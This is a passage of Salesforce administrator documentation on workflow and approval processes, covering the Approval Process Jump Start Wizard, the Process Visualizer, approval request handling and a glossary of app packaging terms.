managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
c. Enter a description for this outbound message.
d. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.
e. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the
message that is sent to the endpoint.
f. Check the Protected Component check box to mark the outbound message as protected. For more information,
see Protected Components on page 916.
g. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include
the session ID in your message if you intend to make API calls and you do not want to include a username and
password. Sending a username and password is less secure than sending a session ID.
h. Select Add failures to failed outbound message related list if you want this message to move
to the failed outbound messages related list after all retries have been attempted. If you do not see this option,
failed outbound messages notifications have not been enabled for your organization. Contact your salesforce.com
representative.
i. Select the fields you want included in the outbound message and click Add.

For tasks:

a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role,
or account team role depending on the type of record you chose.
Note:

• If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person
who triggered the rule is assigned the task.
• If the subject was translated, Salesforce.com creates the task in the assignee's language. If the subject
was translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email in the
assignee's language. However, if only the comments field was translated, Salesforce.com creates the
task and sends the email in the language of the user who triggered the task.
• If a custom object has a master-detail relationship with a standard object, the owner of the custom
object record is automatically set to the owner of the master standard object record. For example, if a
custom object called “Expenses” has a master-detail relationship with Accounts, the owner of each
expense record is the owner of the account for the expense.

885
Create Managing Approval Processes

• If the assignee of a workflow task is a role and more than one user belongs to that role, the record
owner becomes the task assignee, regardless of his or her role. We recommend that you do not assign
tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change
the user in that role without modifying the workflow rule.
• If a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead,
except email alerts, are reassigned to the lead owner.

b. Enter a subject for the task.


c. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
d. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
e. Check Notify Assignee to send an email notification when the task is assigned.
f. Check the Protected Component check box to mark the task as protected. For more information, see Protected
Components on page 916.
g. Enter any comments to add to the task.
h. Click Save.

Note: The actions you create for approval processes can be reused in workflow rules.

See Also:
Managing Workflow and Approvals
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Using the Process Visualizer

Using the Approval Process Jump Start Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However,
to make your process as functional and complete as possible, there are a few things you should do first:

886
Create Managing Approval Processes

1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field
on the user object.
2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember
to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has
enabled email approval response, be sure the email template you use describes how to correctly use both response options:
clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 109.
For information on email approval response, see Customizing Workflow and Approval Settings on page 805.
3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved
or rejected.
4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information,
see Managing Workflow and Approvals on page 794.

Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by
choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval
Process Jump Start Default Selections on page 890.
To use the jump start wizard to create an approval process:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Choose the object for the new approval process.
3. Click Create New Approval Process and choose Use Jump Start Wizard from the drop-down button.
4. Enter a name for the new approval process.
5. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package
installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type
(for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for
Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters.
It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
6. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 109.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user does not respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce.com does not register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert action—in either workflow rules or approval processes—the merge fields
will return a null value.

7. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
8. If only certain types of records should enter this approval process, do one of the following:

• Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process.
For example, if only employees from headquarters should use this approval process to submit expense reports, enter
the following filter criteria: “Current User: Office Location Equals Headquarters.” For more information on using filter
criteria, see Entering Filter Criteria on page 1916.

887
Create Managing Approval Processes

a. Enter your filter criteria for records that you want included in this approval process. Leave the filter blank if you
want all records submitted to be included in the approval process. For information on using filter criteria, see
Entering Filter Criteria on page 1916.
Note: Select a current user field if you want the filter based on the user submitting an approval request.

b. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to
store your changes.

• Select formula evaluates to true if you want a formula to determine what records enter the approval process.

a. Enter a formula that returns “True” or “False.” A record enters the approval process if the formula returns “True.”
For example, use the following formula to require a record to enter this approval process when the record's discount
approval cutoff date is less than 30 days away:

(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to
store your changes.

For information on using formulas, see Building Formulas on page 497. Some functions are not available in approval
process formulas. For information on which functions you can use in approval process formulas, see Operators and
Functions on page 548.

9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members
of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.
Prompts the user to manually select the next approver.

Automatically assign an approver using a standard or custom hierarchy field.


Assigns the approval request to the user in the field displayed in this option. For example, you may want approval
requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field.
Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account
Manager user field.

To create a new custom field, click Create New Field from this option. For information on creating a custom
field, see Adding Fields and Relationships on page 440.

Automatically assign to a queue.


Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 170. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 845.

Automatically assign to approver(s).


Assigns the approval request to one or more of the following:
User
Any Salesforce.com user in your organization.

888
Create Managing Approval Processes

Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.

Important: When specifying who must approve the requests in an approval step, note the following:

• Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object will not be able to view expense approval
requests.
• You cannot assign approval requests to partner users.
• You cannot use email approval response with an approval process in which a queue is the assigned approver.
• You can assign an approval request to the same user multiple times in a single step; however, Salesforce.com
recognizes such redundancies and only requests a single approval from the user.
• After a record enters an approval step, the designated approvers for that step do not change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.

Require unanimous approval from all selected approvers.


The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Click Save to return to the Approval Process Detail page.
12. Select approval actions. For more information, see Selecting Approval Actions on page 880.
13. When you are ready to use the approval process, activate it:

a. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


b. Click Activate next to an inactive process to activate it.

See Also:
Choosing an Approval Process Wizard
Creating Approval Processes
Examples of Approval Processes
Using the Process Visualizer

889
Create Managing Approval Processes

Approval Process Jump Start Default Selections

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

The jump start wizard automates creating an approval process by automatically choosing some default options for you. When
you use the jump start wizard, your approval process will have the following attributes:

• Users must have the “Modify All” object-level permission for the given object, or the “Modify All Data” permission, to
edit records that are awaiting approval in the approval process.
• The approval request page layout displays the record name (or number), owner, date created, and approval history.
• The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile
device.
• The owner of a record is the only person who can submit an approval request.
• Records are locked when submitted for approval.
• Records remain locked until approved or rejected.
• Rejected records are unlocked.
• Only administrators can recall a record after it is submitted for approval.
• There are no auto-approve or auto-reject actions.
• No email notification is sent upon approval or rejection.
• No field values are automatically updated during the approval process.
• An approver cannot automatically delegate another user to approve his or her approval requests.
• The Allow submitters to recall approval requests option is not selected.

After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit
from any approval process list page, and you can add additional steps from the approval process detail page. However, you
cannot edit the Record Lock action on the Initial Submission Actions list.
Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and
actions that comprise your approval process.

See Also:
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard

890
Create Processing Approval Requests

Processing Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To approve, reject, or reassign approval requests: Permissions vary depending on the approval process settings

Your administrator can set up an approval process that allows you to submit records for approval. Depending on the approval
process settings, records may need to have specific attributes before you can submit them. Also, a single record may need to
go through several layers of approval.
Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the
Approval History related list on a record detail page; see Approval History on page 893. You can also manage your assigned
approval requests from the Items To Approve related list on the Home tab; see Items To Approve on page 892.

Approving Requests
If you are the assigned approver for an approval request, you will receive an email notification. To approve requests:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.
2. Click Approve.
3. Enter any comments you want attached to the approval request.
4. When available, select the next approver.
5. Click Approve.
If email approval response is enabled, you can alternatively reply to the email notification by typing the word approve,
approved, or yes in the first line of the email body, and optionally adding comments in the second line.

Rejecting Requests
If you are the assigned approver for an approval request, you will receive an email notification. To reject requests:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.
2. Enter any comments you want attached to the approval request.
3. Click Reject.
If email approval response is enabled, you can alternatively reply to the email notification by typing the word reject,
rejected, or no in the first line of the email body, and optionally adding comments in the second line.

891
Create Processing Approval Requests

Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Using the Process Visualizer

Items To Approve
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Items To Approve related list: Permissions vary depending on the approval process settings

The Items To Approve related list tracks the open approval requests assigned to you. If your administrator has created an
approval process for your organization, you may see this related list on your home page. Depending on the approval process
settings, you can:

• Click an approval request to view more details about it.


• To assign the approval request to another user, click Reassign next to an item.
• To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.

• Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate
boxes. Optionally, check the box in the column header to select all currently displayed items.

- Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click
Save.
- Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject
all selected approval requests at once.

892
Create Processing Approval Requests

Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests

Approval History
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Approval History related list: Permissions vary depending on the approval process settings

The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you
may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following:

• To submit a record for approval, click Submit for Approval. Salesforce.com begins the approval process if any approval
processes apply to the record. This option is not available after the record has been submitted. Depending on the approval
process, you may be prompted to select the next approver.
• To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an
approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both
submitters and administrators can see the Recall Approval Request button in the Approval History related list on the
detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall
Actions on page 874.
• To assign the approval request to another user, click Reassign next to an item.
• To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.

Depending on how your administrator customizes the Approval History related list, it can contain the following Status
values:

Status Definition
Submitted The record has been submitted for a approval.

893
Create Using the Process Visualizer

Status Definition
Pending The record has been submitted for approval and is awaiting
approval or rejection.
Approved The record has been approved.
Rejected The record has been rejected.
Reassigned The record has been submitted for approval but assigned to a
different approver.
Recalled The record was submitted for approval but recalled from the
approval process.

Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator
to find out about the attributes a record must have to be included in an active approval process for your organization.

See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Using the Process Visualizer

Using the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

You can use the Process Visualizer to:

• Display a flowchart of each saved approval process


• Improve communication about the approval process and gain buy-in from step owners
• Reinforce your company's policies by documenting the decisions you reached when the approval process was designed
• Print an annotated version of the approval process, where numbers added to the diagram correspond to details in a table,
which is included in the printable view
• Share approval process diagrams by saving annotated versions as PDF files (requires an Adobe® PDF print driver)
• Help you quickly locate key details by searching multi-step or complex diagrams for matching text
• Help you visualize and understand graphically:

- The steps necessary for a record to be approved


- The designated approvers for each step
- The criteria used to trigger the approval process

894
Create Using the Process Visualizer

- The specific actions to take when a record is approved, rejected, recalled, or first submitted for approval

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Getting Started with Approval Processes

Launching the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

Before you can use the Process Visualizer, you must:

• Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser
• Have at least one approval process defined in your organization

After completing the prerequisites:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Click the name of the approval process you want to view.
3. On the detail page for the approval process, click View Diagram.

Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.

See Also:
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Using the Process Visualizer

895
Create Using the Process Visualizer

Understanding the Process Visualizer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

This topic contains the following sections:

• About the Process Visualizer UI


• Displaying Hover Details for an Approval Process Diagram
• Displaying Approval Process Properties
• Printing Diagrams and Saving PDFs
• Finding Text in a Diagram on page 898
• Refreshing an Approval Process Diagram
• Changing an Approval Process Diagram's Zoom Level
• Using the Navigator

About the Process Visualizer UI


The user interface for the Process Visualizer has several functional areas.

Figure 2: Process Visualizer User Interface

The highlighted numbers in the illustration correspond to the following descriptions:


1. The main area contains the approval process diagram, helping you visualize the overall flow, rules, actions, and dependencies.
The diagram's orientation is top-to-bottom, left-to-right. The entry criteria for the approval process are shown at the top

896
Create Using the Process Visualizer

of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component
uses a shape, an icon, or both to represent the type of processing that may happen.
2. The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display
the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last
setting (shown or hidden).
3. The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons
to scroll through your matches.
4. Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties,
which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval
and whether it has been activated. Expand the pane by clicking the arrow icon.
5. The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component
on the diagram. You can hover over or click a component to view its details.
6. In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts
of the diagram.
7. In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram.
8. In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or
show the legend and navigator.

Displaying Hover Details for an Approval Process Diagram


When you hover over or click a flowchart component, the Process Visualizer displays information about it in the sidebar,
which remains there until you hover over or click a different component.
The following table lists the type of information you can see in the hover details.

Component Type Hover Detail Message Formats


Approval steps Approval required from:
• User: user-name
• Role: role-name
Or if defined for the step, one of the following values:
• Submitter can choose approver
• Automatically assigned to Manager field
• Unanimous approval required from: approver-1,
approver-n...
• Approval based on first response from: approver-1,
approver-n...
• Related User: object-name Owner
• The approver's delegate may also approve this request
Description:
Field updates • Update field-name with lookup value: lookup-value
• Update field-name with value: value
• Update field-name with formula: formula

Email alerts Send (email-template) email to recipient-1,


recipient-n... and additional recipients: cc email
field of email alert

Tasks Assign task to assignee with due date: date

897
Create Using the Process Visualizer

Component Type Hover Detail Message Formats


Outbound messages Send to endpoint endpoint-url the following fields:
field-1, field-n,...

Displaying Approval Process Properties


In the sidebar, the Approval Process Properties pane lists the information shown in the following table. Click the arrow to
expand or collapse it. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (expanded
or collapsed).

Property Description
Process Name A user-defined name of the approval process.
Entry Criteria? Appears only when there are no entry criteria for the process,
displaying with a “No” value.
Active? Indicates whether the approval process is active.
Description The description of the approval process.
Record Editability Shows the defined value for this property. For example:
Administrator or current approver.
Next Automated Approver Determined By Shows the value for this property. For example: Manager of
Owner
Approval Assignment Email Template The name of the template used for email alerts. For example:
Leads: New assignment notification (SAMPLE)
Initial Submitters Shows the defined value for this property. For example: Record
Owner
Allow Submitters to Recall Approval Requests? Shows the defined value, Yes or No, for this property.
Created By The name of the person who created the approval process.
Modified By The name of the last person to modify the approval process.

Printing Diagrams and Saving PDFs


To print an annotated version of the diagram, click Printable View. In this view, the numbers on the diagram correspond to
details shown in a table directly below it. Use the printed or PDF version of the diagram to communicate information about
the approval process, get buy-in from the people who participate in the approval decisions, and help the approval process users
understand the requirements and flow. Click Print and select a printer. If you have an Adobe PDF print driver installed, you
can save the printable view as a PDF file. To return to the diagram, click Exit Printable View.

Finding Text in a Diagram


Use the find function in the Process Visualizer banner to find detailed information quickly. This is helpful when you view a
diagram with ten or more steps, complex formulas, or the names of many people or roles on the approvers' lists. You can find
matching text within the diagram and the Approval Process Properties pane, and view the results highlighted in the sidebar.
The number of matches is displayed beside the Previous and Next buttons, which you can use to scroll through your matches.
Find is case insensitive, and treats the search terms as a phrase in quotes.

898
Create Using the Process Visualizer

Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound
Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the
arrow next to the Find field, select Tasks, then enter Jane Smith.
Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search
parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram
and navigation pane.

Refreshing an Approval Process Diagram


Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.

Changing an Approval Process Diagram's Zoom Level


Use the zoom slider in the upper left to change the diagram's size. Click + to zoom in, and — to zoom out, or drag the slider
tab up and down the bar. This feature is especially helpful when you are viewing large, complex approval processes in the
Process Visualizer.
Note: The zoom feature is only visible for diagrams that exceed the dimensions of the display window.

Using the Navigator


Click and drag the pane around the navigator window to quickly view different areas of a large approval process diagram.
When you use the find feature, the navigator window changes to highlight the matches, which allows you to see items not
visible in the main diagram display area. The navigator also reflects changes to the size of the diagram in the main display
when you use the zoom slider.

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer Notation
Using the Process Visualizer

Understanding the Process Visualizer Notation


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on
the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to
blue when you hover over or click it.

899
Create Using the Process Visualizer

Icon and Shape Examples Description


Near the top of the diagram, a Start circle indicates the beginning of the approval process.
If defined, an Entry Criteria diamond precedes the Start circle. When you hover over
or click Entry Criteria, the Process Visualizer displays the entry criteria in the sidebar's
hover details pane. For example, an approval process for a lead is triggered when
Lead.AnnualRevenue >= 10000. The arrow below the Start circle leads to the next
criteria in the approval process. If a recall action was defined for the entry criteria, a line to
the right connects to the Final Recall Actions rectangle.

The rectangle labeled Initial Submission Actions represents any actions you defined
in initial submission. At a minimum, this element shows the record lock set automatically
by Salesforce.com to prevent updates by other users. Later during the approval process, after
the record is approved, rejected, or recalled, the record is unlocked.

A diamond with Yes or No branches represents the numbered step's criteria or formula that
is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula
in the sidebar's hover details. For example, the criteria could be used to determine whether
the Lead.Rating = Hot. If true, the approval process continues to the next step on the
Yes branch. If false, the approval process continues to the next step on the No branch.

A rectangle containing a human icon, represents an approval step. The Approved path
includes a small diamond. The Rejected path uses a backslash.

900
Create Using the Process Visualizer

Icon and Shape Examples Description


A rectangle without a human icon or a plus sign represents a single action. The action types
and icons are:

Send an email alert:

Start a task:

Perform a field update:

Send an outbound message:

In this example, a task has been assigned. When you hover over or click the rectangle, look
for more information in the sidebar's hover details.

A rectangle with a plus sign (+) represents multiple actions. The actions shown inside are
performed simultaneously, as a unit. To expand the display and view the individual actions,
click the plus sign. In the expanded display, the Process Visualizer displays the individual
actions, one per rectangle.

When you hover over or click a shape on the diagram, and it is part of a step, all the elements
that comprise the step use a glowing background color. This visual clue helps you locate all
the decisions and actions that comprise each step, and how the processing may branch based
on the record's values.

901
Create Apps Overview

Icon and Shape Examples Description


In the approval process definition, if the option was enabled to perform only the rejection
actions for this step and send the approval request back to the most recent approver. (go back
one step), the diagram displays a Go Back circle. When you hover over or click the Go Back
circle, the hover details pane displays a message. For example:
On rejection send the request back to any one of the following
steps, depending on the most recent approver: - list-of-steps. If
no approvers are found, the request goes to Final Rejection.

The identified steps depend on where in the approval process the Go Back was defined. The
possible steps are highlighted when you hover over the Go Back circle. In the diagram, the
Process Visualizer displays the Go Back circle only for a step where its preceding step is
defined as a skip.

The Final Approval Actions rectangle leads to a circle labeled Approved, as shown
here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If
a recall action was defined, the Final Recall Actions rectangle shows that the record
is now unlocked, and the arrow leads to a circle labeled Recalled.

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Using the Process Visualizer

Apps Overview
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

An app is a collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business
need. Salesforce.com provides standard apps such as Sales and Call Center. You can customize the standard apps to match
the way you work. In addition, you can package an app and upload it to AppExchange along with related components such
as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce.com users from
AppExchange. An app can contain one or more of the following components:

902
Create Apps Overview

• Apex classes or triggers (available in Developer, Enterprise, and Unlimited Editions only)
• Apex sharing reason
• Apex sharing recalculation
• Custom apps
• Custom fields
• Custom buttons and links
• Custom home page layouts
• Custom labels
• Custom objects (including all custom fields, master-detail and lookup relationships, picklist values, record types, page
layouts, mini page layouts, related list layouts, search layouts, public list views, validation rules, custom buttons, custom
links, its Context-Sensitive Help Setting, and the Custom S-Control selected for it)
Note: When packaged and installed, only public list views from an app are installed. If a custom object has any
custom list views that you want to include in your package, ensure that the list view is accessible by all users.

• Custom report types


• Custom reports
• Custom s-controls
• Custom tabs
• Dashboards
• Documents
• Email templates
• Folders
• Letterheads
• List views
• Page layouts
• Profiles
• S-Controls
• Static resources
• Record types
• Reports
• Translated values available in the translation workbench for packaged components
• Validation rules
• Visualforce components
• Visualforce pages
• Workflow rules, alerts, field updates, outbound messages, and tasks

When adding components to a package, some related components are automatically included. For example, when you add a
custom object to a package, its custom fields, page layouts, and relationships with standard objects are automatically included.
Some components are not visible in the list of packaged components; for example, translated values for custom fields are
included for any active language that has been added to the package yet the custom field is displayed in the developer's language
on the package detail page.

903
Create Apps Overview

Note: The custom apps, tabs, and objects contained in a managed package in a trial state or the managed package of
a native application in any state do not count against the limits of your Salesforce.com Edition.

See Also:
Overview of Packages
Managing Packages
Glossary

Glossary
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

The following terms and definitions describe key application and packaging concepts and capabilities:
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce.com provides standard apps such as Sales and Call Center. You can customize the
standard apps to match the way you work. In addition, you can package an app and upload it to AppExchange along
with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available
to other Salesforce.com users from AppExchange.

AppExchange
AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the
Force.com platform.

Beta, Managed Package


In the context of managed packages, a beta managed package is an early version of a managed package distributed to a
sampling of your intended audience to test it.

Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce.com
user interface, you must select the “Deployed” option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce.com organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a
custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.

Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a
Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do
not receive the component, while the component continues to function for existing subscribers and API integrations.

904
Create Apps Overview

License Management Application (LMA)


A free AppExchange app that allows you to track sales leads and accounts for every user who downloads a managed
package of yours from AppExchange.

License Management Organization (LMO)


The Salesforce.com organization that you use to track all the Salesforce.com users who install your package. A license
management organization must have the License Management Application (LMA) installed. It automatically receives
notification every time your package is installed or uninstalled so that you can easily notify users of upgrades. You can
specify any Enterprise, Unlimited, or Developer Edition organization as your license management organization. For
more information, go to http://www.salesforce.com/docs/en/lma/index.htm.

Managed Package
A collection of application components that are posted as a unit on AppExchange, and are associated with a namespace
and possibly a License Management Organization. A package must be managed for it to support upgrades. An organization
can create a single managed package that can be downloaded and installed by many different organizations. They differ
from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later.
Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages
obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the
developer.

Managed Package Extension


Any package, component, or set of components that adds to the functionality of a managed package. An extension
requires that the base managed package be installed in the organization.

Namespace Prefix
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your
package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive.
For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all
Salesforce.com organizations. It keeps your managed package under your control exclusively.

Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external
services or infrastructure.

Package
A group of Force.com components and applications that are made available to other organizations through the
AppExchange. You use packages to bundle an app along with any related components so that you can upload them to
AppExchange together.

Package Dependency
Created when one component references another component, permission, or preference, which must exist for the
component to be valid. Components can include but are not limited to:

• Standard or custom fields


• Standard or custom objects
• Visualforce pages
• Apex scripts

Permissions and preferences can include but are not limited to:

905
Create Apps Overview

• Divisions
• Multicurrency
• Record types

Package Installation
Incorporates the contents of a package into your Salesforce.com organization. A package on AppExchange can include
an app, a component, or a combination of the two. After you install a package, you may need to deploy components in
the package to make it generally available to the users in your organization.

Package Publication
Publishing your package makes it publicly available on AppExchange. Apps can be found under specific categories and
by doing a search for keywords.

Package Version
A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you
create a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through
a pilot program. For information on enabling patch versions for your organization, contact salesforce.com.
Unmanaged packages are not upgradeable so each package version is simply a set of components for distribution. A
package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package.

Private Sharing
The process of privately sharing an uploaded package, by using the URL that you receive from Salesforce.com. This
URL is not listed in the AppExchange. Using the unlisted URL allows you to share a package manually without going
through the listing process or making it public.

Provider
The provider of an AppExchange listing is the Salesforce.com user or organization that published the listing.

Subscriber
The subscriber of a package is a Salesforce.com user with an installed package in their Salesforce.com organization.

Test Drive
A test drive is a fully functional Salesforce.com organization that contains an app and any sample records added by the
publisher for a particular package. It allows users on AppExchange to experience an app as a read-only user using a
familiar Salesforce.com interface.

Unmanaged Package
A package that cannot be upgraded or controlled by its developer.

Upgrading
Upgrading a package is the process of installing a newer version. Salesforce.com supports upgrades for managed packages
that are not beta.

906
Create Overview of Packages

Uploading
Uploading a package in Salesforce.com provides an installation URL so other users can install it. Uploading also makes
your packaged available to be published on AppExchange.

See Also:
Apps Overview

Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

